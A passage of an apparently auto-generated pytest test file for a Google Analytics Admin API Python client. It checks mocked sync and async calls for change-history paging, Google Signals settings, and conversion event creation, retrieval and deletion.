new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
],
next_page_token="abc",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[], next_page_token="def",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[resources.ChangeHistoryEvent(),],
next_page_token="ghi",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
],
),
RuntimeError,
)
async_pager = await client.search_change_history_events(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.ChangeHistoryEvent) for i in responses)
@pytest.mark.asyncio
async def test_search_change_history_events_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.search_change_history_events),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
],
next_page_token="abc",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[], next_page_token="def",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[resources.ChangeHistoryEvent(),],
next_page_token="ghi",
),
analytics_admin.SearchChangeHistoryEventsResponse(
change_history_events=[
resources.ChangeHistoryEvent(),
resources.ChangeHistoryEvent(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.search_change_history_events(request={})
).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_get_google_signals_settings(
transport: str = "grpc",
request_type=analytics_admin.GetGoogleSignalsSettingsRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_google_signals_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleSignalsSettings(
name="name_value",
state=resources.GoogleSignalsState.GOOGLE_SIGNALS_ENABLED,
consent=resources.GoogleSignalsConsent.GOOGLE_SIGNALS_CONSENT_CONSENTED,
)
response = client.get_google_signals_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetGoogleSignalsSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.GoogleSignalsSettings)
assert response.name == "name_value"
assert response.state == resources.GoogleSignalsState.GOOGLE_SIGNALS_ENABLED
assert (
response.consent
== resources.GoogleSignalsConsent.GOOGLE_SIGNALS_CONSENT_CONSENTED
)
def test_get_google_signals_settings_from_dict():
test_get_google_signals_settings(request_type=dict)
def test_get_google_signals_settings_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_google_signals_settings), "__call__"
) as call:
client.get_google_signals_settings()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetGoogleSignalsSettingsRequest()
@pytest.mark.asyncio
async def test_get_google_signals_settings_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetGoogleSignalsSettingsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_google_signals_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleSignalsSettings(
name="name_value",
state=resources.GoogleSignalsState.GOOGLE_SIGNALS_ENABLED,
consent=resources.GoogleSignalsConsent.GOOGLE_SIGNALS_CONSENT_CONSENTED,
)
)
response = await client.get_google_signals_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetGoogleSignalsSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.GoogleSignalsSettings)
assert response.name == "name_value"
assert response.state == resources.GoogleSignalsState.GOOGLE_SIGNALS_ENABLED
assert (
response.consent
== resources.GoogleSignalsConsent.GOOGLE_SIGNALS_CONSENT_CONSENTED
)
@pytest.mark.asyncio
async def test_get_google_signals_settings_async_from_dict():
await test_get_google_signals_settings_async(request_type=dict)
def test_get_google_signals_settings_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetGoogleSignalsSettingsRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_google_signals_settings), "__call__"
) as call:
call.return_value = resources.GoogleSignalsSettings()
client.get_google_signals_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_google_signals_settings_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetGoogleSignalsSettingsRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_google_signals_settings), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleSignalsSettings()
)
await client.get_google_signals_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_google_signals_settings_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_google_signals_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleSignalsSettings()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_google_signals_settings(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_google_signals_settings_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_google_signals_settings(
analytics_admin.GetGoogleSignalsSettingsRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_google_signals_settings_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_google_signals_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleSignalsSettings()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleSignalsSettings()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_google_signals_settings(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_google_signals_settings_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_google_signals_settings(
analytics_admin.GetGoogleSignalsSettingsRequest(), name="name_value",
)
def test_update_google_signals_settings(
transport: str = "grpc",
request_type=analytics_admin.UpdateGoogleSignalsSettingsRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_signals_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleSignalsSettings(
name="name_value",
state=resources.GoogleSignalsState.GOOGLE_SIGNALS_ENABLED,
consent=resources.GoogleSignalsConsent.GOOGLE_SIGNALS_CONSENT_CONSENTED,
)
response = client.update_google_signals_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateGoogleSignalsSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.GoogleSignalsSettings)
assert response.name == "name_value"
assert response.state == resources.GoogleSignalsState.GOOGLE_SIGNALS_ENABLED
assert (
response.consent
== resources.GoogleSignalsConsent.GOOGLE_SIGNALS_CONSENT_CONSENTED
)
def test_update_google_signals_settings_from_dict():
test_update_google_signals_settings(request_type=dict)
def test_update_google_signals_settings_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_signals_settings), "__call__"
) as call:
client.update_google_signals_settings()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateGoogleSignalsSettingsRequest()
@pytest.mark.asyncio
async def test_update_google_signals_settings_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.UpdateGoogleSignalsSettingsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_signals_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleSignalsSettings(
name="name_value",
state=resources.GoogleSignalsState.GOOGLE_SIGNALS_ENABLED,
consent=resources.GoogleSignalsConsent.GOOGLE_SIGNALS_CONSENT_CONSENTED,
)
)
response = await client.update_google_signals_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateGoogleSignalsSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.GoogleSignalsSettings)
assert response.name == "name_value"
assert response.state == resources.GoogleSignalsState.GOOGLE_SIGNALS_ENABLED
assert (
response.consent
== resources.GoogleSignalsConsent.GOOGLE_SIGNALS_CONSENT_CONSENTED
)
@pytest.mark.asyncio
async def test_update_google_signals_settings_async_from_dict():
await test_update_google_signals_settings_async(request_type=dict)
def test_update_google_signals_settings_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateGoogleSignalsSettingsRequest()
request.google_signals_settings.name = "google_signals_settings.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_signals_settings), "__call__"
) as call:
call.return_value = resources.GoogleSignalsSettings()
client.update_google_signals_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"google_signals_settings.name=google_signals_settings.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_google_signals_settings_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateGoogleSignalsSettingsRequest()
request.google_signals_settings.name = "google_signals_settings.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_signals_settings), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleSignalsSettings()
)
await client.update_google_signals_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"google_signals_settings.name=google_signals_settings.name/value",
) in kw["metadata"]
def test_update_google_signals_settings_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_signals_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleSignalsSettings()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_google_signals_settings(
google_signals_settings=resources.GoogleSignalsSettings(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].google_signals_settings == resources.GoogleSignalsSettings(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_google_signals_settings_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_google_signals_settings(
analytics_admin.UpdateGoogleSignalsSettingsRequest(),
google_signals_settings=resources.GoogleSignalsSettings(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_google_signals_settings_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_google_signals_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.GoogleSignalsSettings()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.GoogleSignalsSettings()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_google_signals_settings(
google_signals_settings=resources.GoogleSignalsSettings(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].google_signals_settings == resources.GoogleSignalsSettings(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_google_signals_settings_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_google_signals_settings(
analytics_admin.UpdateGoogleSignalsSettingsRequest(),
google_signals_settings=resources.GoogleSignalsSettings(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_create_conversion_event(
transport: str = "grpc", request_type=analytics_admin.CreateConversionEventRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.ConversionEvent(
name="name_value",
event_name="event_name_value",
deletable=True,
custom=True,
)
response = client.create_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateConversionEventRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.ConversionEvent)
assert response.name == "name_value"
assert response.event_name == "event_name_value"
assert response.deletable is True
assert response.custom is True
def test_create_conversion_event_from_dict():
test_create_conversion_event(request_type=dict)
def test_create_conversion_event_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_conversion_event), "__call__"
) as call:
client.create_conversion_event()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateConversionEventRequest()
@pytest.mark.asyncio
async def test_create_conversion_event_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.CreateConversionEventRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.ConversionEvent(
name="name_value",
event_name="event_name_value",
deletable=True,
custom=True,
)
)
response = await client.create_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateConversionEventRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.ConversionEvent)
assert response.name == "name_value"
assert response.event_name == "event_name_value"
assert response.deletable is True
assert response.custom is True
@pytest.mark.asyncio
async def test_create_conversion_event_async_from_dict():
await test_create_conversion_event_async(request_type=dict)
def test_create_conversion_event_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateConversionEventRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_conversion_event), "__call__"
) as call:
call.return_value = resources.ConversionEvent()
client.create_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_conversion_event_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateConversionEventRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_conversion_event), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.ConversionEvent()
)
await client.create_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_conversion_event_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.ConversionEvent()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_conversion_event(
parent="parent_value",
conversion_event=resources.ConversionEvent(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].conversion_event == resources.ConversionEvent(name="name_value")
def test_create_conversion_event_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_conversion_event(
analytics_admin.CreateConversionEventRequest(),
parent="parent_value",
conversion_event=resources.ConversionEvent(name="name_value"),
)
@pytest.mark.asyncio
async def test_create_conversion_event_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.ConversionEvent()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.ConversionEvent()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_conversion_event(
parent="parent_value",
conversion_event=resources.ConversionEvent(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].conversion_event == resources.ConversionEvent(name="name_value")
@pytest.mark.asyncio
async def test_create_conversion_event_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_conversion_event(
analytics_admin.CreateConversionEventRequest(),
parent="parent_value",
conversion_event=resources.ConversionEvent(name="name_value"),
)
def test_get_conversion_event(
transport: str = "grpc", request_type=analytics_admin.GetConversionEventRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.ConversionEvent(
name="name_value",
event_name="event_name_value",
deletable=True,
custom=True,
)
response = client.get_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetConversionEventRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.ConversionEvent)
assert response.name == "name_value"
assert response.event_name == "event_name_value"
assert response.deletable is True
assert response.custom is True
def test_get_conversion_event_from_dict():
test_get_conversion_event(request_type=dict)
def test_get_conversion_event_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_conversion_event), "__call__"
) as call:
client.get_conversion_event()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetConversionEventRequest()
@pytest.mark.asyncio
async def test_get_conversion_event_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.GetConversionEventRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.ConversionEvent(
name="name_value",
event_name="event_name_value",
deletable=True,
custom=True,
)
)
response = await client.get_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.GetConversionEventRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.ConversionEvent)
assert response.name == "name_value"
assert response.event_name == "event_name_value"
assert response.deletable is True
assert response.custom is True
@pytest.mark.asyncio
async def test_get_conversion_event_async_from_dict():
await test_get_conversion_event_async(request_type=dict)
def test_get_conversion_event_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetConversionEventRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_conversion_event), "__call__"
) as call:
call.return_value = resources.ConversionEvent()
client.get_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_conversion_event_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetConversionEventRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_conversion_event), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.ConversionEvent()
)
await client.get_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_conversion_event_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.ConversionEvent()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_conversion_event(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_conversion_event_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_conversion_event(
analytics_admin.GetConversionEventRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_conversion_event_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.ConversionEvent()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.ConversionEvent()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_conversion_event(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_conversion_event_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_conversion_event(
analytics_admin.GetConversionEventRequest(), name="name_value",
)
def test_delete_conversion_event(
transport: str = "grpc", request_type=analytics_admin.DeleteConversionEventRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_conversion_event), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_conversion_event(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteConversionEventRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_conversion_event_from_dict():
test_delete_conversion_event(request_type=dict)
def test_delete_conversion_event_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_conversion_event), "__call__"
) as call:
client.delete_conversion_event()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteConversionEventRequest()
@pytest.mark.asyncio
async def test_delete_conversion_event_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.DeleteConversionEventRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
